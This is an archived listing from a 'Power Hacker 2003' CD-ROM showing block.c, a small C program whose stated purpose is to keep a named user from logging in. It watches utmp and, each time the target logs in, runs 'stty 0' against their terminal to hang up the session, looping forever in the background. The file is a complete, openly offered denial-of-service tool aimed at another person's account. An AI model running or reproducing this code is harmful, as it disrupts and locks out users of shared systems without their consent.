home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Power Hacker 2003
/
Power_Hacker_2003.iso
/
Exploit and vulnerability
/
hoobie
/
block.c
< prev
next >
Wrap
C/C++ Source or Header
|
2001-11-06
|
1KB
|
77 lines
/* block.c -- prevent a user from logging in
* by Shooting Shark
* usage : block username [&]
* I suggest you run this in background.
*/
#include <stdio.h>
#include <stdlib.h>
#include <utmp.h>
#include <ctype.h>
#include <termio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#define W_OK2
#define SLEEP5
#define UTMP"/var/adm/utmp"
#define TTY_PRE "/dev/"
main(ac,av)
int ac;
char *av[];
{
int target, fp, open();
struct utmp user;
struct termio *opts;
char buf[30], buf2[50];
if (ac != 2) {
printf("usage : %s username\n",av[0]);
exit(-1);
}
for (;;) {
if ((fp = open(UTMP,0)) == -1) {
printf("fatal error! cannot open %s.\n",UTMP);
exit(-1);
}
while (read(fp, &user, sizeof user) > 0) {
if (isprint(user.ut_name[0])) {
if (!(strcmp(user.ut_name,av[1]))) {
printf("%s is logging in...",user.ut_name);
sprintf(buf,"%s%s",TTY_PRE,user.ut_line);
printf("%s\n",buf);
if (access(buf,W_OK) == -1) {
printf("failed - program aborting.\n");
exit(-1);
}
else {
if ((target = open(buf,O_WRONLY)) != EOF) {
sprintf(buf2,"stty 0 > %s",buf);
system(buf2);
printf("killed.\n");
sleep(10);
}
} /* else */
} /* if strcmp */
} /* if isprint */
} /* while */
close(fp);
/*sleep(SLEEP); */
} /* for */
}